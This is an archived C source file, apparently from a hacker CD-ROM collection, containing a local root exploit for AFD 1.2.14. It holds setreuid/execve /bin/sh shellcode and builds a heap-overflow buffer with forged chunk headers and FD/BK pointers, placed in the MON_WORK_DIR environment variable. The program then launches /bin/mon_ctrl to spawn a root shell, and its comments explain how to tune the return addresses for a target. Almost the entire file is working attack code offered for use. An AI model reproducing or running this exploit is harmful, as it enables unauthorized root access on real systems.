home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / afd / afd-expl.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  2.2 KB  |  72 lines

  1. /* AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
  2.  * (Bug found by Sacrine (sacrine@netric.org)
  3.  * -----------------------------------------------------------------
  4.  * usage: ./afd-expl [retloc] [ret]
  5.  * 
  6.  * This exploit overwrites a saved return address on the stack,
  7.  * so that 0xbfffe360, (that worked for me on Redhat 7.3) will
  8.  * probally not work for you...
  9.  * 
  10.  * Just open the coredump, search the stack for 0x4207ac24, 
  11.  * and substract that address with 0x0c.
  12.  */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17.  
  18. char shellcode[] = 
  19.         "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
  20.         "--netric--"
  21.         "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
  22.         "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
  23.         "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
  24.  
  25.  
  26. int
  27. main(int argc, char *argv[])
  28. {
  29.     char buffer[1135];
  30.  
  31.     unsigned int retloc     = 0xbfffe360;
  32.     unsigned int ret        = 0x0806f020; /* &shellcode */
  33.  
  34.     if (argc > 1) retloc    = strtoul(argv[1], &argv[1], 16);
  35.     if (argc > 2) ret    = strtoul(argv[2], &argv[2], 16);
  36.  
  37.     memset(buffer, 0x41, sizeof(buffer));
  38.     memcpy(buffer, "MON_WORK_DIR=",13);
  39.     memcpy(buffer+13, shellcode, strlen(shellcode));
  40.  
  41.     buffer[1117] = 0xff; /* prev_size */
  42.     buffer[1118] = 0xff;
  43.     buffer[1119] = 0xff;
  44.     buffer[1120] = 0xff;
  45.  
  46.     buffer[1121] = 0xfc; /* size field */
  47.     buffer[1122] = 0xff;
  48.     buffer[1123] = 0xff;
  49.     buffer[1124] = 0xff;
  50.  
  51.     buffer[1126] = (retloc & 0x000000ff); /* FD */
  52.     buffer[1127] = (retloc & 0x0000ff00) >> 8;
  53.     buffer[1128] = (retloc & 0x00ff0000) >> 16;
  54.     buffer[1129] = (retloc & 0xff000000) >> 24;
  55.  
  56.     buffer[1130] = (ret & 0x000000ff); /* BK */
  57.     buffer[1131] = (ret & 0x0000ff00) >> 8;
  58.     buffer[1132] = (ret & 0x00ff0000) >> 16;
  59.     buffer[1133] = (ret & 0xff000000) >> 24;
  60.  
  61.     buffer[1134] = 0x0;
  62.     putenv(buffer);
  63.  
  64.     fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
  65.     fprintf(stdout, "-----------------------------------------------------------------\n");
  66.     fprintf(stdout, "Ret    = 0x%08x\n", ret);
  67.     fprintf(stdout, "Retloc = 0x%08x\n", retloc);
  68.  
  69.     execl("/bin/mon_ctrl", "mon_ctrl", NULL);
  70.     return 0;
  71. }
  72.